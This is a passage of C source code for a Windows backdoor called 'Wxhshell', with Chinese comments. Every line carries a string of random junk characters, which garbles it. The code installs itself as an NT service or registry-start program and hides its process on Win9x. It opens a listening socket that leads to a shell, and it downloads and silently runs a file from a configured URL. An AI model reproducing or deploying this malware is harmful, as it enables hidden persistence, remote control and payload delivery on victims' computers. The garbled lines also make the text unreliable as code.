ULONG UniqueProcessId; '/p4O2b,
ULONG InheritedFromUniqueProcessId; ?6!LL5a.
} PROCESS_BASIC_INFORMATION; P}iE+Z3
+`4A$#$+y
PROCNTQSIP NtQueryInformationProcess; T{"(\X$
6]N.%Y[(
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kZ~~/?B
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9r9NxKuAO
}p
V:M{Nu&
HANDLE hProcess; /r 5eWR1G
PROCESS_BASIC_INFORMATION pbi; y =@N|f!
4H/OBR
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SbZ6t$"
if(NULL == hInst ) return 0; [g,}gyeS(
\V:^h[ad
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z?zL9 7H
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >_}
I.\X
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }H2R3icE
qs6aB0ln
if (!NtQueryInformationProcess) return 0; okXl8&mi
9WHddDA
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gw(z1L5
n
if(!hProcess) return 0; K3C <{#r
kfNWI#'9
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f1? >h\F8
MD]>g>
CloseHandle(hProcess); a*;b^Ze`v
?2a $*(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1YA% -~
if(hProcess==NULL) return 0; @HW*09TG
ESs\O?nO
HMODULE hMod; :Tc^y%b0
char procName[255]; iLT}oKF2N;
unsigned long cbNeeded; 'qi}|I
^Cmyx3O^
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9Flb|G%
H]s.=.Ki
CloseHandle(hProcess); 6@o*xK7L
J,G
lIv.A
if(strstr(procName,"services")) return 1; // 以服务启动 QJNFA}*>
mOSv9w#,
return 0; // 注册表启动 4Hg9N}
} X]=t>
;<5q]/IHK
// 主模块 R]dg_Da
int StartWxhshell(LPSTR lpCmdLine) d-m7}2c
{ NI5``BwpO
SOCKET wsl; $(
)>g>%
BOOL val=TRUE; g`^x@rj`E
int port=0; <#.g=ay
struct sockaddr_in door; ;4a{$Lw~^9
0c&+|>!
if(wscfg.ws_autoins) Install(); o
K@"f9
VL^EHb7
port=atoi(lpCmdLine); d _
e WcI
Q\)F;: |
if(port<=0) port=wscfg.ws_port; 'yth'[
B *vM0
WSADATA data; $(9U @N9E
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >p/`;Kq@
51u0]Qx;fm
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Bt#N4m[X*|
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^{{ qV
door.sin_family = AF_INET; l,:F
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q&&@v4L
door.sin_port = htons(port); m*;ERK
v:p} B$
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hSMH,^Io$
closesocket(wsl); [Q =Nn
return 1; "3hMq1NQ`g
} *A< 5*Db:F
F?cK-.
if(listen(wsl,2) == INVALID_SOCKET) { }Lv;!
closesocket(wsl); 9l,oP?
return 1; eQ"E
} hcc/=_hA
Wxhshell(wsl); -&;TA0~;
WSACleanup(); {!`4iiF
M;NX:mX9
return 0; 6RM/GM
C?Ucu]cW
} X.V~SeS
__@BUK{ q
// 以NT服务方式启动 YP9^Bp{0
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9cgUT@a
{ <Qq*p
DWORD status = 0; C>~TI,5a3
DWORD specificError = 0xfffffff; /> Nt[o[r
xpI wrJO
serviceStatus.dwServiceType = SERVICE_WIN32; P$sxr
serviceStatus.dwCurrentState = SERVICE_START_PENDING; {T8Kk)L
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m68*y;#
serviceStatus.dwWin32ExitCode = 0; zVD:#d%b
serviceStatus.dwServiceSpecificExitCode = 0; S$k&vc(0
serviceStatus.dwCheckPoint = 0; [2koe.?(
serviceStatus.dwWaitHint = 0; b2]Kx&!
bfO=;S]b!
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `kr?j:g
if (hServiceStatusHandle==0) return; ]{ kPrey
HqTjl4ai
status = GetLastError(); P_dJZ((X
if (status!=NO_ERROR) nd(S3rct&
{ .KC++\{HE
serviceStatus.dwCurrentState = SERVICE_STOPPED; yBRC*0+Vy
serviceStatus.dwCheckPoint = 0; m3ff;,
serviceStatus.dwWaitHint = 0; {^'HL
serviceStatus.dwWin32ExitCode = status; Mq8L0%j
serviceStatus.dwServiceSpecificExitCode = specificError; ~v83pu1!2s
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B;WCTMy}
return; _FEFx
} gJhiGYx
f X)#=c|5
serviceStatus.dwCurrentState = SERVICE_RUNNING; Wvqhl
'J
serviceStatus.dwCheckPoint = 0; Hefg[$m
serviceStatus.dwWaitHint = 0; LF7SS;&~f
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &0f,~ /%Z
} dTtSUA|V7"
2JFpZU"1
// 处理NT服务事件,比如:启动、停止 2-b6gc7
VOID WINAPI NTServiceHandler(DWORD fdwControl) =mGez )T5\
{ uGt-l4
switch(fdwControl) <,(,jU)j
{ 4fzZ;2sl}
case SERVICE_CONTROL_STOP: akT6^cP^
serviceStatus.dwWin32ExitCode = 0; >3_Gw4S*H
serviceStatus.dwCurrentState = SERVICE_STOPPED; BZxvJQ
serviceStatus.dwCheckPoint = 0; fT{Yg /j
serviceStatus.dwWaitHint = 0; m4g$N)
{ L-\GHu~)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); go"Hf_
} 2"5v[,$1H
return; :Yks|VJ1
case SERVICE_CONTROL_PAUSE: -^57oU
serviceStatus.dwCurrentState = SERVICE_PAUSED; qw8Rlws%
break; $g7<Y*t[
case SERVICE_CONTROL_CONTINUE: frQ{iUx
serviceStatus.dwCurrentState = SERVICE_RUNNING; H.2QKws^F
break; J$!iq|
case SERVICE_CONTROL_INTERROGATE: '{`$#@a.
break; ;GhNKPY
}; 7)k\{&+P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); km40qO@3
} XrPfotj1
F>cv<l
=6l
// 标准应用程序主函数 @K]|K]cby
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^H'\"9;7
{ p^_yU_
kwA$Z!Rn
// 获取操作系统版本 {GO#.P"
OsIsNt=GetOsVer(); U?=Dg1
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9E tz[`|
-]=@s
// 从命令行安装 <|\Lm20G]
if(strpbrk(lpCmdLine,"iI")) Install(); BSMwdr
V_:&S2j
// 下载执行文件 :h V7>
rr
if(wscfg.ws_downexe) { S@Hf
&hJ
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |W\(kb+
WinExec(wscfg.ws_filenam,SW_HIDE); "T"h)L<
} ##o#eZq:"
ow#1="G,=
if(!OsIsNt) { 42{:G8
// 如果时win9x,隐藏进程并且设置为注册表启动 ; Hd7*`$
HideProc(); 1r7y]FyH$
StartWxhshell(lpCmdLine); [sb[Z:
} MxGW(p
else #u
+ v_
if(StartFromService()) _,d~}_$`i
// 以服务方式启动 @<Yy{~L|
StartServiceCtrlDispatcher(DispatchTable); ,{q;;b9
else (b6NX~G-:
// 普通方式启动 +KEWP\r
StartWxhshell(lpCmdLine); )tpL#J
i@BtM9:
return 0; U3:j'Su4H?
}